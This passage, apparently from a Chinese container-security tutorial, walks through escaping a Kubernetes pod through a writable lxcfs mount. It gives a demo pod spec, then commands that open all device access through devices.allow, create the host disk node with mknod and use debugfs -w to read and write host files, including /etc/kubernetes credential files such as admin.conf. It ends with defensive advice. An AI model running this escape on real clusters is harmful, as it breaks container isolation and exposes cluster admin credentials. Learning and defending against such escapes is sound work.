5.2. 攻击 lxcfs
假设业务使用 lxcfs 加强业务容器在 /proc/ 目录下的虚拟化，以此为前提，我们构建出这样的 demo pod:
yaml
apiVersion: v1
kind: Pod
metadata:
name: lxcfs-rw
spec:
containers:
- name: lxcfs-rw-5
#image: 192.168.101.99:80/base/nginx:latest
image: 192.168.101.99:80/base/nginx:alpine
command: ["sleep"]
args: ["infinity"]
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /data
mountPropagation: HostToContainer
name: test-data
volumes:
- name: test-data
hostPath:
path: /data
type: ""如果使用 lxcfs /data/test/lxcfs/ 修改了 data 目录下的权限，则可以进行逃逸
shell
# 在容器所在的宿主机上执行
mkdir -p /data/test/lxcfs
yum -y install lxcfs
lxcfs /data/test/lxcfs开始逃逸
判断业务是否使用了 lxcfs
shell
# 使用 mount 或者 使用 cat /proc/1/mountinfo 获取
/ # mount | grep -i lxcfs
lxcfs on /data/test/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
\
/ # cat /proc/1/mountinfo | grep -i lxcfs
2237 2218 253:0 /var/lib/kubelet/pods/67ffbff0-2440-4f3f-b184-b5b43be318cc/containers/lxcfs-rw-5/1807e814 /dev/termination-log rw,relatime - ext4 /dev/mapper/cs-root rw
2117 2235 0:409 / /data/test/lxcfs rw,nosuid,nodev,relatime master:514 - fuse.lxcfs lxcfs rw,user_id=0,group_id=0,allow_other
# 此时容器内会出现一个新的虚拟路径：
/ # cd /data/test/lxcfs
/data/test/lxcfs # ls
cgroup proc
# 使用 echo a > devices.allow 可以修改当前容器的设备访问权限
/data/test/lxcfs # cd /data/test/lxcfs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod67ffbff0_2440_4f3f_b184_b5b43be318cc.slice/cri-containerd-3103955c7730d61891aabf322e52e423a6b05a37887de6611c2fa92f96d91582.scope/
/data/test/lxcfs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod67ffbff0_2440_4f3f_b184_b5b43be318cc.slice/cri-containerd-3103955c7730d61891aabf322e52e423a6b05a37887de6611c2fa92f96d91582.scope # ls
cgroup.clone_children cgroup.procs devices.allow devices.deny devices.list notify_on_release tasks
/data/test/lxcfs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod67ffbff0_2440_4f3f_b184_b5b43be318cc.slice/cri-containerd-3103955c7730d61891aabf322e52e423a6b05a37887de6611c2fa92f96d91582.scope # echo a > devices.allow
# 通过挂载信息获取到主设备号 ID
/data/test/lxcfs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod67ffbff0_2440_4f3f_b184_b5b43be318cc.slice/cri-containerd-3103955c7730d61891aabf322e52e423a6b05a37887de6611c2fa92f96d91582.scope # cat /proc/self/mountinfo |grep etc
2236 2216 253:0 /var/lib/kubelet/pods/67ffbff0-2440-4f3f-b184-b5b43be318cc/etc-hosts /etc/hosts rw,relatime - ext4 /dev/mapper/cs-root rw
2238 2216 253:0 /var/lib/containerd/io.containerd.grpc.v1.cri/sandboxes/04e42433b85e06d48aad0761c1d410ba516709683c2373cfcffbe6f1a164f2d8/hostname /etc/hostname rw,relatime - ext4 /dev/mapper/cs-root rw
2239 2216 253:0 /var/lib/containerd/io.containerd.grpc.v1.cri/sandboxes/04e42433b85e06d48aad0761c1d410ba516709683c2373cfcffbe6f1a164f2d8/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/mapper/cs-root rw
# 可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问，此时我们就有了读写宿主机任意文件的权限
~ # apk add --no-cache e2fsprogs-extra
~ # mknod mknod_near b 253 0
~ # debugfs -w mknod_near
debugfs 1.47.3 (8-Jul-2025)
debugfs: ls -l /etc/kubernetes
5767919 40755 (2) 0 0 4096 27-Apr-2026 10:15 .
5767169 40755 (2) 0 0 4096 28-Apr-2026 02:29 ..
5767920 40700 (2) 0 0 4096 27-Apr-2026 10:14 manifests
5767910 40755 (2) 0 0 4096 27-Apr-2026 10:19 plugins
5767927 40755 (2) 0 0 4096 27-Apr-2026 10:14 pki
5767932 40700 (2) 0 0 4096 27-Apr-2026 10:13 backup
5767939 40755 (2) 0 0 4096 27-Apr-2026 10:15 config
131528 100644 (1) 0 0 6050 27-Apr-2026 10:14 kubeadm-config.yaml
5767948 100600 (1) 0 0 5529 27-Apr-2026 10:15 admin.conf
5767952 100600 (1) 0 0 5549 27-Apr-2026 10:14 super-admin.conf
5767955 100600 (1) 0 0 1893 27-Apr-2026 10:15 kubelet.conf
5767959 100600 (1) 0 0 5565 27-Apr-2026 10:15 controller-manager.conf
5767964 100600 (1) 0 0 5513 27-Apr-2026 10:15 scheduler.conf当容器为 privileged、sys_admin 等特殊配置时，可以使用相同的手法进行逃逸
自动化工具 https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw
防御建议：
text
避免在生产环境中使用 lxcfs
如必须使用，确保容器没有权限修改 devices cgroup
实施严格的容器安全策略，限制容器的权限
定期审计容器配置，确保没有不必要的权限